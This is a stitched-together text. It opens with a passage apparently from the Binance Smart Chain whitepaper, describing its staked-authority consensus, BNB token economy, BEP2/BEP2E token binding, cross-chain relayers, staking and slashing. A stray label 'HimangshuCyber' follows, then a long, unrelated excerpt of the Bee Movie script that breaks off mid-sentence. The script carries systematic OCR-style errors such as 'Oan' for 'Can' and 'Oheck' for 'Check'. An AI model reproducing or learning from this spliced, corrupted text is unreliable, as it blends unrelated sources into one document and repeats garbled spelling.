[GoChain](https://gochain.io/), [xDAI](https://xdai.io/), do use [Proof-of-Authority(PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) or its variants in different scenarios, including both testnet and mainnet. PoA provides some defense to 51% attack, with improved efficiency and tolerance to certain levels of Byzantine players (malicious or hacked). It serves as an easy choice to pick as the fundamentals. Meanwhile, the PoA protocol is most criticized for being not as decentralized as PoW, as the validators, i.e. the nodes that take turns to produce blocks, have all the authorities and are prone to corruption and security attacks. Other blockchains, such as EOS and Lisk both, introduce different types of [Delegated Proof of Stake (DPoS)](https://en.bitcoinwiki.org/wiki/DPoS) to allow the token holders to vote and elect the validator set. It increases the decentralization and favors community governance. BSC here proposes to combine DPoS and PoA for consensus, so that: 1. Blocks are produced by a limited set of validators 2. Validators take turns to produce blocks in a PoA manner, similar to [Ethereum’s Clique](https://eips.ethereum.org/EIPS/eip-225) consensus design 3. Validator set are elected in and out based on a staking based governance ## Validator Quorum In the genesis stage, a few trusted nodes will run as the initial Validator Set. After the blocking starts, anyone can compete to join as candidates to elect as a validator. The staking status decides the top 21 most staked nodes to be the next validator set, and such an election will repeat every 24 hours. **BNB** is the token used to stake for BSC. In order to remain as compatible as Ethereum and upgradeable to future consensus protocols to be developed, BSC chooses to rely on the **BC** for staking management (Please refer to the below “[Staking and Governance](#staking-and-governance)” section). There is a **dedicated staking module for BSC on BC**. It will accept BSC staking from BNB holders and calculate the highest staked node set. Upon every UTC midnight, BC will issue a verifiable `ValidatorSetUpdate` cross-chain message to notify BSC to update its validator set. While producing further blocks, the existing BSC validators check whether there is a `ValidatorSetUpdate` message relayed onto BSC periodically. If there is, they will update the validator set after an **epoch period**, i.e. a predefined number of blocking time. For example, if BSC produces a block every 5 seconds, and the epoch period is 240 blocks, then the current validator set will check and update the validator set for the next epoch in 1200 seconds (20 minutes). ## Security and Finality Given there are more than ½\*N+1 validators are honest, PoA based networks usually work securely and properly. However, there are still cases where certain amount Byzantine validators may still manage to attack the network, e.g. through the “[Clone Attack](https://arxiv.org/pdf/1902.10244.pdf)”. To secure as much as BC, BSC users are encouraged to wait until receiving blocks sealed by more than ⅔\*N+1 different validators. In that way, the BSC can be trusted at a similar security level to BC and can tolerate less than ⅓\*N Byzantine validators. With 21 validators, if the block time is 5 seconds, the ⅔\*N+1 different validator seals will need a time period of (⅔\*21+1)*5 = 75 seconds. Any critical applications for BSC may have to wait for ⅔\*N+1 to ensure a relatively secure finality. However, besides such arrangement, BSC does introduce **Slashing** logic to penalize Byzantine validators for **double signing** or **inavailability**, which will be covered in the “Staking and Governance” section later. This Slashing logic will expose the malicious validators in a very short time and make the “Clone Attack” very hard or extremely non-beneficial to execute. With this enhancement, ½\*N+1 or even fewer blocks are enough as confirmation for most transactions. ## Reward All the BSC validators in the current validator set will be rewarded with transaction **fees in BNB**. As BNB is not an inflationary token, there will be no mining rewards as what Bitcoin and Ethereum network generate, and the gas fee is the major reward for validators. As BNB is also utility tokens with other use cases, delegators and validators will still enjoy other benefits of holding BNB. The reward for validators is the fees collected from transactions in each block. Validators can decide how much to give back to the delegators who stake their BNB to them, in order to attract more staking. Every validator will take turns to produce the blocks in the same probability (if they stick to 100% liveness), thus, in the long run, all the stable validators may get a similar size of the reward. Meanwhile, the stakes on each validator may be different, so this brings a counter-intuitive situation that more users trust and delegate to one validator, they potentially get less reward. So rational delegators will tend to delegate to the one with fewer stakes as long as the validator is still trustful (insecure validator may bring slashable risk). In the end, the stakes on all the validators will have less variation. This will actually prevent the stake concentration and “winner wins forever” problem seen on some other networks. Some parts of the gas fee will also be rewarded to relayers for Cross-Chain communication. Please refer to the “[Relayers](#relayers)” section below. # Token Economy BC and BSC share the same token universe for BNB and BEP2 tokens. This defines: 1. The same token can circulate on both networks, and flow between them bi-directionally via a cross-chain communication mechanism. 2. The total circulation of the same token should be managed across the two networks, i.e. the total effective supply of a token should be the sum of the token’s total effective supply on both BSC and BC. 3. The tokens can be initially created on BSC in a similar format as ERC20 token standard, or on BC as a BEP2, then created on the other. There are native ways on both networks to link the two and secure the total supply of the token. ## Native Token BNB will run on BSC in the same way as ETH runs on Ethereum so that it remains as “native token” for both BSC and BC. This means, in addition to BNB is used to pay most of the fees on Binance Chain and Binance DEX, BNB will be also used to: 1. pay “fees“ to deploy smart contracts on BSC 2. stake on selected BSC validators, and get corresponding rewards 3. perform cross-chain operations, such as transfer token assets across BC and BSC ### Seed Fund Certain amounts of BNB will be burnt on BC and minted on BSC during its genesis stage. This amount is called “Seed Fund” to circulate on BSC after the first block, which will be dispatched to the initial BC-to-BSC Relayer(described in later sections) and initial validator set introduced at genesis. These BNBs are used to pay transaction fees in the early stage to transfer more BNB from BC onto BSC via the cross-chain mechanism. The BNB cross-chain transfer is discussed in a later section, but for BC to BSC transfer, it is generally to lock BNB on BC from the source address of the transfer to a system-controlled address and unlock the corresponding amount from special contract to the target address of the transfer on BSC, or reversely, when transferring from BSC to BC, it is to lock BNB from the source address on BSC into a special contract and release locked amount on BC from the system address to the target address. The logic is related to native code on BC and a series of smart contracts on BSC. ## Other Tokens BC supports BEP2 tokens and upcoming [BEP8 tokens](https://github.com/binance-chain/BEPs/pull/69), which are native assets transferrable and tradable (if listed) via fast transactions and sub-second finality. Meanwhile, as BSC is Ethereum compatible, it is natural to support ERC20 tokens on BSC, which here is called “**BEP2E**” (with the real name to be introduced by the future BEPs,it potentially covers BEP8 as well). BEP2E may be “Enhanced” by adding a few more methods to expose more information, such as token denomination, decimal precision definition and the owner address who can decide the Token Binding across the chains. BSC and BC work together to ensure that one token can circulate in both formats with confirmed total supply and be used in different use cases. ### Token Binding BEP2 tokens will be extended to host a new attribute to associate the token with a BSC BEP2E token contract, called “**Binder**”, and this process of association is called “**Token Binding**”. Token Binding can happen at any time after BEP2 and BEP2E are ready. The token owners of either BEP2 or BEP2E don’t need to bother about the Binding, until before they really want to use the tokens on different scenarios. Issuers can either create BEP2 first or BEP2E first, and they can be bound at a later time. Of course, it is encouraged for all the issuers of BEP2 and BEP2E to set the Binding up early after the issuance. A typical procedure to bind the BEP2 and BEP2E will be like the below: 1. Ensure both the BEP2 token and the BEP2E token both exist on each blockchain, with the same total supply. BEP2E should have 3 more methods than typical ERC20 token standard: * symbol(): get token symbol * decimals(): get the number of the token decimal digits * owner(): get **BEP2E contract owner’s address.** This value should be initialized in the BEP2E contract constructor so that the further binding action can verify whether the action is from the BEP2E owner. 2. Decide the initial circulation on both blockchains. Suppose the total supply is *S*, and the expected initial circulating supply on BC is *K*, then the owner should lock S-K tokens to a system controlled address on BC. 3. Equivalently, *K* tokens is locked in the special contract on BSC, which handles major binding functions and is named as **TokenHub**. The issuer of the BEP2E token should lock the *K* amount of that token into TokenHub, resulting in *S-K* tokens to circulate on BSC. Thus the total circulation across 2 blockchains remains as *S*. 4. The issuer of BEP2 token sends the bind transaction on BC. Once the transaction is executed successfully after proper verification: * It transfers *S-K* tokens to a system-controlled address on BC. * A cross-chain bind request package will be created, waiting for Relayers to relay. 5. BSC Relayers will relay the cross-chain bind request package into **TokenHub** on BSC, and the corresponding request and information will be stored into the contract. 6. The contract owner and only the owner can run a special method of TokenHub contract, `ApproveBind`, to verify the binding request to mark it as a success. It will confirm: * the token has not been bound; * the binding is for the proper symbol, with proper total supply and decimal information; * the proper lock are done on both networks; 10. Once the `ApproveBind` method has succeeded, TokenHub will mark the two tokens are bounded and share the same circulation on BSC, and the status will be propagated back to BC. After this final confirmation, the BEP2E contract address and decimals will be written onto the BEP2 token as a new attribute on BC, and the tokens can be transferred across the two blockchains bidirectionally. If the ApproveBind fails, the failure event will also be propagated back to BC to release the locked tokens, and the above steps can be re-tried later. # Cross-Chain Transfer and Communication Cross-chain communication is the key foundation to allow the community to take advantage of the dual chain structure: * users are free to create any tokenization, financial products, and digital assets on BSC or BC as they wish * the items on BSC can be manually and programmingly traded and circulated in a stable, high throughput, lighting fast and friendly environment of BC * users can operate these in one UI and tooling ecosystem. ## Cross-Chain Transfer The cross-chain transfer is the key communication between the two blockchains. Essentially the logic is: 1. the `transfer-out` blockchain will lock the amount from source owner addresses into a system controlled address/contracts; 2. the `transfer-in` blockchain will unlock the amount from the system controlled address/contracts and send it to target addresses. The cross-chain transfer package message should allow the BSC Relayers and BC **Oracle Relayers** to verify: 1. Enough amount of token assets are removed from the source address and locked into a system controlled addresses/contracts on the source blockchain. And this can be confirmed on the target blockchain. 2. Proper amounts of token assets are released from a system controlled addresses/contracts and allocated into target addresses on the target blockchain. If this fails, it can be confirmed on source blockchain, so that the locked token can be released back (may deduct fees). 3. The sum of the total circulation of the token assets across the 2 blockchains are not changed after this transfer action completes, no matter if the transfer succeeds or not.  The architecture of cross-chain communication is as in the above diagram. To accommodate the 2 heteroid systems, communication handling is different in each direction. ## BC to BSC Architecture BC is a Tendermint-based, instant finality blockchain. Validators with at least ⅔\*N+1 of the total voting power will co-sign each block on the chain. So that it is practical to verify the block transactions and even the state value via **Block Header** and **Merkle Proof** verification. This has been researched and implemented as “**Light-Client Protocol**”, which are intensively discussed in [the Ethereum](https://github.com/ethereum/wiki/wiki/Light-client-protocol) community, studied and implemented for [Cosmos inter-chain communication](https://github.com/cosmos/ics/blob/a4173c91560567bdb7cc9abee8e61256fc3725e9/spec/ics-007-tendermint-client/README.md). BC-to-BSC communication will be verified in an “**on-chain light client**” implemented via BSC **Smart Contracts** (some of them may be **“pre-compiled”**). After some transactions and state change happen on BC, if a transaction is defined to trigger cross-chain communication,the Cross-chain “**package**” message will be created and **BSC Relayers** will pass and submit them onto BSC as data into the "build-in system contracts". The build-in system contracts will verify the package and execute the transactions if it passes the verification. The verification will be guaranteed with the below design: 1. BC blocking status will be synced to the light client contracts on BSC from time to time, via block header and pre-commits, for the below information: * block and app hash of BC that are signed by validators * current validatorset, and validator set update 2. the key-value from the blockchain state will be verified based on the Merkle Proof and information from above #1. After confirming the key-value is accurate and trustful, the build-in system contracts will execute the actions corresponding to the cross-chain packages. Some examples of such packages that can be created for BC-to-BSC are: 1. Bind: bind the BEP2 tokens and BEP2E 2. Transfer: transfer tokens after binding, this means the circulation will decrease (be locked) from BC and appear in the target address balance on BSC 3. Error Handling: to handle any timeout/failure event for BSC-to-BC communication 4. Validatorset update of BSC To ensure no duplication, proper message sequence and timely timeout, there is a “Channel” concept introduced on BC to manage any types of the communication. For relayers, please also refer to the below “Relayers” section. ## BSC to BC Architecture BSC uses Proof of Staked Authority consensus protocol, which has a chance to fork and requires confirmation of more blocks. One block only has the signature of one validator, so that it is not easy to rely on one block to verify data from BSC. To take full advantage of validator quorum of BC, an idea similar to many [Bridge ](https://github.com/poanetwork/poa-bridge)or Oracle blockchains is adopted: 1. The cross-chain communication requests from BSC will be submitted and executed onto BSC as transactions. The execution of the transanction wil emit `Events`, and such events can be observed and packaged in certain “**Oracle**” onto BC. Instead of Block Headers, Hash and Merkle Proof, this type of “Oracle” package directly contains the cross-chain information for actions, such as sender, receiver and amount for transfer. 2. To ensure the security of the Oracle, the validators of BC will form anothe quorum of “**Oracle Relayers**”. Each validator of the BC should run a **dedicated process** as the Oracle Relayer. These Oracle Relayers will submit and vote for the cross-chain communication package, like Oracle, onto BC, using the same validator keys. Any package signed by more than ⅔\*N+1 Oracle Relayers’ voting power is as secure as any block signed by ⅔\*N+1 of the same quorum of validators’ voting power. By using the same validator quorum, it saves the light client code on BC and continuous block updates onto BC. Such Oracles also have Oracle IDs and types, to ensure sequencing and proper error handling. ## Timeout and Error Handling There are scenarios that the cross-chain communication fails. For example, the relayed package cannot be executed on BSC due to some coding bug in the contracts. **Timeout and error handling logics are** used in such scenarios. For the recognizable user and system errors or any expected exceptions, the two networks should heal themselves. For example, when BC to BSC transfer fails, BSC will issue a failure event and Oracle Relayers will execute a refund on BC; when BSC to BC transfer fails, BC will issue a refund package for Relayer to relay in order to unlock the fund. However, unexpected error or exception may still happen on any step of the cross-chain communication. In such a case, the Relayers and Oracle Relayers will discover that the corresponding cross-chain channel is stuck in a particular sequence. After a Timeout period, the Relayers and Oracle Relayers can request a “SkipSequence” transaction, the stuck sequence will be marked as “Unexecutable”. A corresponding alerts will be raised, and the community has to discuss how to handle this scenario, e.g. payback via the sponsor of the validators, or event clear the fund during next network upgrade. ## Cross-Chain User Experience Ideally, users expect to use two parallel chains in the same way as they use one single chain. It requires more aggregated transaction types to be added onto the cross-chain communication to enable this, which will add great complexity, tight coupling, and maintenance burden. Here BC and BSC only implement the basic operations to enable the value flow in the initial launch and leave most of the user experience work to client side UI, such as wallets. E.g. a great wallet may allow users to sell a token directly from BSC onto BC’s DEX order book, in a secure way. ## Cross-Chain Contract Event Cross-Chain Contract Event (CCCE) is designed to allow a smart contract to trigger cross-chain transactions, directly through the contract code. This becomes possible based on: 1. Standard system contracts can be provided to serve operations callable by general smart contracts; 2. Standard events can be emitted by the standard contracts; 3. Oracle Relayers can capture the standard events, and trigger the corresponding cross-chain operations; 4. Dedicated, code-managed address (account) can be created on BC and accessed by the contracts on the BSC, here it is named as **“Contract Address on BC” (CAoB)**. Several standard operations are implemented: 1. BSC to BC transfer: this is implemented in the same way as normal BSC to BC transfer, by only triggered via standard contract. The fund can be transferred to any addresses on BC, including the corresponding CAoB of the transfer originating contract. 2. Transfer on BC: this is implemented as a special cross-chain transfer, while the real transfer is from **CAoB** to any other address (even another CAoB). 3. BC to BSC transfer: this is implemented as two-pass cross-chain communication. The first is triggered by the BSC contract and propagated onto BC, and then in the second pass, BC will start a normal BC to BSC cross-chain transfer, from **CAoB** to contract address on BSC. A special note should be paid on that the BSC contract only increases balance upon any transfer coming in on the second pass, and the error handling in the second pass is the same as the normal BC to BSC transfer. 4. IOC (Immediate-Or-Cancel) Trade Out: the primary goal of transferring assets to BC is to trade. This event will instruct to trade a certain amount of an asset in CAoB into another asset as much as possible and transfer out all the results, i.e. the left the source and the traded target tokens of the trade, back to BSC. BC will handle such relayed events by sending an “Immediate-Or-Cancel”, i.e. IOC order onto the trading pairs, once the next matching finishes, the result will be relayed back to BSC, which can be in either one or two assets. 5. Auction Trade Out: Such event will instruct BC to send an auction order to trade a certain amount of an asset in **CAoB** into another asset as much as possible and transfer out all the results back to BSC at the end of the auction. Auction function is upcoming on BC. There are some details for the Trade Out: 1. both can have a limit price (absolute or relative) for the trade; 2. the end result will be written as cross-chain packages to relay back to BSC; 3. cross-chain communication fees may be charged from the asset transferred back to BSC; 4. BSC contract maintains a mirror of the balance and outstanding orders on CAoB. No matter what error happens during the Trade Out, the final status will be propagated back to the originating contract and clear its internal state. With the above features, it simply adds the cross-chain transfer and exchange functions with high liquidity onto all the smart contracts on BSC. It will greatly add the application scenarios on Smart Contract and dApps, and make 1 chain +1 chain > 2 chains. # Staking and Governance Proof of Staked Authority brings in decentralization and community involvement. Its core logic can be summarized as the below. You may see similar ideas from other networks, especially Cosmos and EOS. 1. Token holders, including the validators, can put their tokens “**bonded**” into the stake. Token holders can **delegate** their tokens onto any validator or validator candidate, to expect it can become an actual validator, and later they can choose a different validator or candidate to **re-delegate** their tokens<sup>1</sup>. 2. All validator candidates will be ranked by the number of bonded tokens on them, and the top ones will become the real validators. 3. Validators can share (part of) their blocking reward with their delegators. 4. Validators can suffer from “**Slashing**”, a punishment for their bad behaviors, such as double sign and/or instability. 5. There is an “**unbonding period**” for validators and delegators so that the system makes sure the tokens remain bonded when bad behaviors are caught, the responsible will get slashed during this period. ## Staking on BC Ideally, such staking and reward logic should be built into the blockchain, and automatically executed as the blocking happens. Cosmos Hub, who shares the same Tendermint consensus and libraries with Binance Chain, works in this way. BC has been preparing to enable staking logic since the design days. On the other side, as BSC wants to remain compatible with Ethereum as much as possible, it is a great challenge and efforts to implement such logic on it. This is especially true when Ethereum itself may move into a different Proof of Stake consensus protocol in a short (or longer) time. In order to keep the compatibility and reuse the good foundation of BC, the staking logic of BSC is implemented on BC: 1. The staking token is BNB, as it is a native token on both blockchains anyway 2. The staking, i.e. token bond and delegation actions and records for BSC, happens on BC. 3. The BSC validator set is determined by its staking and delegation logic, via a staking module built on BC for BSC, and propagated every day UTC 00:00 from BC to BSC via Cross-Chain communication. 4. The reward distribution happens on BC around every day UTC 00:00. ## Rewarding Both the validator update and reward distribution happen every day around UTC 00:00. This is to save the cost of frequent staking updates and block reward distribution. This cost can be significant, as the blocking reward is collected on BSC and distributed on BC to BSC validators and delegators. (Please note BC blocking fees will remain rewarding to BC validators only.) A deliberate delay is introduced here to make sure the distribution is fair: 1. The blocking reward will not be sent to validator right away, instead, they will be distributed and accumulated on a contract; 2. Upon receiving the validator set update into BSC, it will trigger a few cross-chain transfers to transfer the reward to custody addresses on the corresponding validators. The custody addresses are owned by the system so that the reward cannot be spent until the promised distribution to delegators happens. 3. In order to make the synchronization simpler and allocate time to accommodate slashing, the reward for N day will be only distributed in N+2 days. After the delegators get the reward, the left will be transferred to validators’ own reward addresses. ## Slashing Slashing is part of the on-chain governance, to ensure the malicious or negative behaviors are punished. BSC slash can be submitted by anyone. The transaction submission requires **slash evidence** and cost fees but also brings a larger reward when it is successful. So far there are two slashable cases. ### Double Sign It is quite a serious error and very likely deliberate offense when a validator signs more than one block with the same height and parent block. The reference protocol implementation should already have logic to prevent this, so only the malicious code can trigger this. When Double Sign happens, the validator should be removed from the Validator **Set** right away. Anyone can submit a slash request on BC with the evidence of Double Sign of BSC, which should contain the 2 block headers with the same height and parent block, sealed by the offending validator. Upon receiving the evidence, if the BC verifies it to be valid: 1. The validator will be removed from validator set by an instance BSC validator set update Cross-Chain update; 2. A predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator; Both validator and its delegators will not receive the staking rewards. 3. Part of the slashed BNB will allocate to the submitter’s address, which is a reward and larger than the cost of submitting slash request transaction 4. The rest of the slashed BNB will allocate to the other validators’ custody addresses, and distributed to all delegators in the same way as blocking reward. ### Inavailability The liveness of BSC relies on everyone in the Proof of Staked Authority validator set can produce blocks timely when it is their turn. Validators can miss their turn due to any reason, especially problems in their hardware, software, configuration or network. This instability of the operation will hurt the performance and introduce more indeterministic into the system. There can be an internal smart contract responsible for recording the missed blocking metrics of each validator. Once the metrics are above the predefined threshold, the blocking reward for validator will not be relayed to BC for distribution but shared with other better validators. In such a way, the poorly-operating validator should be gradually voted out of the validator set as their delegators will receive less or none reward. If the metrics remain above another higher level of threshold, the validator will be dropped from the rotation, and this will be propagated back to BC, then a predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator. Both validators and delegators will not receive their staking rewards. ### Governance Parameters There are many system parameters to control the behavior of the BSC, e.g. slash amount, cross-chain transfer fees. All these parameters will be determined by BSC Validator Set together through a proposal-vote process based on their staking. Such the process will be carried on BC, and the new parameter values will be picked up by corresponding system contracts via a cross-chain communication. # Relayers Relayers are responsible to submit Cross-Chain Communication Packages between the two blockchains. Due to the heterogeneous parallel chain structure, two different types of Relayers are created. ## BSC Relayers Relayers for BC to BSC communication referred to as “**BSC Relayers**”, or just simply “Relayers”. Relayer is a standalone process that can be run by anyone, and anywhere, except that Relayers must register themselves onto BSC and deposit a certain refundable amount of BNB. Only relaying requests from the registered Relayers will be accepted by BSC. The package they relay will be verified by the on-chain light client on BSC. The successful relay needs to pass enough verification and costs gas fees on BSC, and thus there should be incentive reward to encourage the community to run Relayers. ### Incentives There are two major communication types: 1. Users triggered Operations, such as `token bind` or `cross chain transfer`. Users must pay additional fee to as relayer reward. The reward will be shared with the relayers who sync the referenced blockchain headers. Besides, the reward won't be paid the relayers' accounts directly. A reward distribution mechanism will be brought in to avoid monopolization. 2. System Synchronization, such as delivering `refund package`(caused by failures of most oracle relayers), special blockchain header synchronization(header contains BC validatorset update), BSC staking package. System reward contract will pay reward to relayers' accounts directly. If some Relayers have faster networks and better hardware, they can monopolize all the package relaying and leave no reward to others. Thus fewer participants will join for relaying, which encourages centralization and harms the efficiency and security of the network. Ideally, due to the decentralization and dynamic re-election of BSC validators, one Relayer can hardly be always the first to relay every message. But in order to avoid the monopolization further, the rewarding economy is also specially designed to minimize such chance: 1. The reward for Relayers will be only distributed in batches, and one batch will cover a number of successful relayed packages. 2. The reward a Relayer can get from a batch distribution is not linearly in proportion to their number of successful relayed packages. Instead, except the first a few relays, the more a Relayer relays during a batch period, the less reward it will collect. ## Oracle Relayers Relayers for BSC to BC communication are using the “Oracle” model, and so-called “**Oracle Relayers**”. Each of the validators must, and only the ones of the validator set, run Oracle Relayers. Each Oracle Relayer watches the blockchain state change. Once it catches Cross-Chain Communication Packages, it will submit to vote for the requests. After Oracle Relayers from ⅔ of the voting power of BC validators vote for the changes, the cross-chain actions will be performed. Oracle Replayers should wait for enough blocks to confirm the finality on BSC before submitting and voting for the cross-chain communication packages onto BC. The cross-chain fees will be distributed to BC validators together with the normal BC blocking rewards. Such oracle type relaying depends on all the validators to support. As all the votes for the cross-chain communication packages are recorded on the blockchain, it is not hard to have a metric system to assess the performance of the Oracle Relayers. The poorest performer may have their rewards clawed back via another Slashing logic introduced in the future. # Outlook It is hard to conclude for Binance Chain, as it has never stopped evolving. The dual-chain strategy is to open the gate for users to take advantage of the fast transferring and trading on one side, and flexible and extendable programming on the other side, but it will be one stop along the development of Binance Chain. Here below are the topics to look into so as to facilitate the community better for more usability and extensibility: 1. Add different digital asset model for different business use cases 2. Enable more data feed, especially DEX market data, to be communicated from Binance DEX to BSC 3. Provide interface and compatibility to integrate with Ethereum, including its further upgrade, and other blockchain 4. Improve client side experience to manage wallets and use blockchain more conveniently ------ [1]: BNB business practitioners may provide other benefits for BNB delegators, as they do now for long term BNB holders.
HimangshuCyber
According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten 